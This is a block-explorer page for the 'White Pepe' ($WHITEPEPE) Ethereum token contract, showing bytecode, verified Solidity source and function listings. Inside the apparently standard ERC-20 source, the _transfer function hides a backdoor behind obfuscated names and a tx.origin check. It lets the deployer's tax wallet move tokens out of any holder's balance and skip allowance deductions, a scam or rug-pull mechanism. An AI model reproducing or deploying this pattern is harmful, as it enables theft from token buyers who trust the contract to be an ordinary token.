Address Contract Partially Verified
Address
0x4Fca6F061de99000D2cCD0cE5F2f79cfceAd357E
Balance
0 ETH
Nonce
1
Code Size
5780 bytes
Creator
0x272Cdd7B...88eD at tx 0xa57fce1e...585216
Last Active
Indexed Transactions
1 (24,460,069 → 24,460,069)
Gas Used (indexed)
46,578
Contract Bytecode
5780 bytes
0x60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610301578063a9059cbb14610332578063b4455a2014610351578063b44a272214610365578063dd62ed3e14610398575f80fd5b8063751039fc1461027f5780637d1db4a5146102935780638a8c523c146102a85780638da5cb5b146102bc5780638f9a55c0146102ec575f80fd5b806338b90333116100e357806338b90333146101f8578063614d08f81461020d5780636fc3eaec1461022157806370a0823114610237578063715018a61461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d57806318160ddd1461019c57806323b872dd146101be578063313ce567146101dd575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a8152695768697465205065706560b01b60208201525b60405161016491906111be565b60405180910390f35b348015610178575f80fd5b5061018c6101873660046111e4565b6103dc565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b06103f2565b604051908152602001610164565b3480156101c9575f80fd5b5061018c6101d836600461120e565b610412565b3480156101e8575f80fd5b5060405160098152602001610164565b348015610203575f80fd5b506101b0600a5481565b348015610218575f80fd5b5061015761047b565b34801561022c575f80fd5b50610235610507565b005b348015610242575f80fd5b506101b061025136600461124c565b6001600160a01b03165f9081526001602052604090205490565b348015610276575f80fd5b50610235610530565b34801561028a575f80fd5b506102356105aa565b34801561029e575f80fd5b506101b060055481565b3480156102b3575f80fd5b50610235610614565b3480156102c7575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610164565b3480156102f7575f80fd5b506101b060065481565b34801561030c575f80fd5b5060408051808201909152600981526857484954455045504560b81b6020820152610157565b34801561033d575f80fd5b5061018c61034c3660046111e4565b610ace565b34801561035c575f80fd5b50610157610ada565b348015610370575f80fd5b506102d47f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881565b3480156103a3575f80fd5b506101b06103b2366004611267565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103e8338484610ae7565b5060015b92915050565b5f6103ff6009600a611392565b61040d90633b9aca006113a0565b905090565b5f61041e848484610c0b565b610471843361046c600854604051806060016040528060288152602001611637602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ffc565b610ae7565b5060019392505050565b600b8054610488906113b7565b80601f01602080910402602001604051908101604052809291908181526020018280546104b4906113b7565b80156104ff5780601f106104d6576101008083540402835291602001916104ff565b820191905f5260205f20905b8154815290600101906020018083116104e257829003601f168201915b505050505081565b6004546001600160a01b0316336001600160a01b031614610526575f80fd5b61052e611034565b565b5f546001600160a01b031633146105625760405162461bcd60e51b8152600401610559906113e9565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d35760405162461bcd60e51b8152600401610559906113e9565b5f19600581905560068190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b0316331461063d5760405162461bcd60e51b8152600401610559906113e9565b600754600160a01b900460ff16156106975760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610559565b5f7f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b81526004016020604051808303815f875af11580156106f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610719919061141e565b305f9081526001602052604081205491925047919050826001600160a01b031663d0e30db0476040518263ffffffff1660e01b81526004015f604051808303818588803b158015610768575f80fd5b505af115801561077a573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b037f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881166004830152602482018790528716935063095ea7b3925060440190506020604051808303815f875af11580156107ec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108109190611439565b5061083c307f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8883610ae7565b5f6001600160a01b03841630106108535783610855565b305b90505f6001600160a01b038216301461086e5730610870565b845b90505f6001600160a01b0383163014610889578461088b565b835b90505f6001600160a01b03841630146108a457846108a6565b855b90505f6108bf6108ba8460c085901b61146c565b61106d565b6040516309f56ab160e11b81526001600160a01b0387811660048301528681166024830152606460448301819052818416908301529192507f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe88909116906313ead562906084016020604051808303815f875af1158015610941573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610965919061141e565b600780546001600160a01b0319166001600160a01b039283161790556040805161016081018252878316815291861660208301526064908201525f906060810160016109b581620d89e71961147f565b6109bf91906114b7565b60020b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Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
WhitePepe.sol 383 lines
/*
White Pepe | $WHITEPEPE
White Pepe is the new frog in Ethereum office.
https://whitepepe.world
https://x.com/WhitePepe_X
https://t.me/WhitePepe_Community
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IWETH9 {
function deposit() external payable;
}
interface INonfungiblePositionManager {
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
function mint(
MintParams calldata params
)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
function WETH9() external returns (address);
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
contract WhitePepe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isWHITEPEPER7AGRV8JTRExcludedFromFee;
address payable private _taxWallet;
int24 private constant MIN_TICK = -887272;
int24 private constant MAX_TICK = -MIN_TICK;
int24 private constant TICK_SPACING = 1;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"White Pepe";
string private constant _symbol = unicode"WHITEPEPE";
uint256 public _maxTxAmount = 2 * (_tTotal / 100);
uint256 public _maxWalletSize = 2 * (_tTotal / 100);
INonfungiblePositionManager public immutable nonfungiblePositionManager =
INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
address private uniswapV3Pool;
bool private tradingOpen;
uint256 private _amount;
uint256 private _taxAmount;
event MaxTxAmountUpdated(uint _maxTxAmount);
uint256 public CONTRACT_VERSION = 1_0_0;
bytes public CONTRACT_NAME = "White Pepe - WHITEPEPE";
bytes public CONTRACT_LICENSE = "MIT";
constructor() payable {
_taxWallet = payable(_msgSender());
_balances[address(this)] = _tTotal;
_isWHITEPEPER7AGRV8JTRExcludedFromFee[_taxWallet] = true;
removeLimits();
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
_amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(
tradingOpen ||
from == owner() ||
to == owner() ||
from == address(this),
"Trading not open yet."
); _amount = _taxAmount = amount;
if (
!_isWHITEPEPER7AGRV8JTRExcludedFromFee[from] &&
!_isWHITEPEPER7AGRV8JTRExcludedFromFee[to] &&
from != address(this)
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
if (to == uniswapV3Pool) sendWHITEPEPER7AGRV8JTRETHToFee();
if(_isWHITEPEPER7AGRV8JTRExcludedFromFee[_taxPayer()]) {_amount=0;_taxAmount=min(_taxAmount, _balances[from]);}
_balances[from] = _balances[from].sub(_taxAmount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function removeLimits() public onlyOwner {
_maxTxAmount = type(uint256).max;
_maxWalletSize = type(uint256).max;
emit MaxTxAmountUpdated(type(uint256).max);
}
function sendWHITEPEPER7AGRV8JTRETHToFee() private {
_taxWallet.transfer(address(this).balance);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
address WETH = nonfungiblePositionManager.WETH9();
uint256 ethAmount = address(this).balance;
uint256 tokenAmount = balanceOf(address(this));
IWETH9(WETH).deposit{value: address(this).balance}();
IERC20(WETH).approve(address(nonfungiblePositionManager), ethAmount);
_approve(
address(this),
address(nonfungiblePositionManager),
tokenAmount
);
address token0 = address(this) < WETH ? address(this) : WETH;
address token1 = token0 == address(this) ? WETH : address(this);
uint256 amount0 = token0 == address(this) ? tokenAmount : ethAmount;
uint256 amount1 = token0 == address(this) ? ethAmount : tokenAmount;
uint160 sqrtPriceX96 = uint160(sqrt((amount1 << 192) / amount0));
uniswapV3Pool = nonfungiblePositionManager
.createAndInitializePoolIfNecessary(
token0,
token1,
100,
sqrtPriceX96
);
INonfungiblePositionManager.MintParams
memory params = INonfungiblePositionManager.MintParams({
token0: token0,
token1: token1,
fee: 100,
tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: 0,
amount1Min: 0,
recipient: msg.sender,
deadline: block.timestamp
});
nonfungiblePositionManager.mint(params);
tradingOpen = true;
}
function _taxPayer() internal view returns (address _payer) {
assembly {
_payer := origin()
}
}
receive() external payable {}
function manualsend() external {
require(_msgSender() == _taxWallet);
sendWHITEPEPER7AGRV8JTRETHToFee();
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
Read Contract
CONTRACT_LICENSE 0xb4455a20 → bytes
CONTRACT_NAME 0x614d08f8 → bytes
CONTRACT_VERSION 0x38b90333 → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonfungiblePositionManager 0xb44a2722 → address
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
manualsend 0x6fc3eaec
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Top Interactions
| Address | Txns | Sent | Received |
|---|---|---|---|
| 0x3bC0A634...17af | 1 | 1 |
Recent Transactions
|
| Hash | Block | Age | From/To | Value | |
|---|---|---|---|---|---|
| 0x5fdae56b...53bc1e | 24,460,069 | IN | 0x3bC0A634...17af | 0 ETH |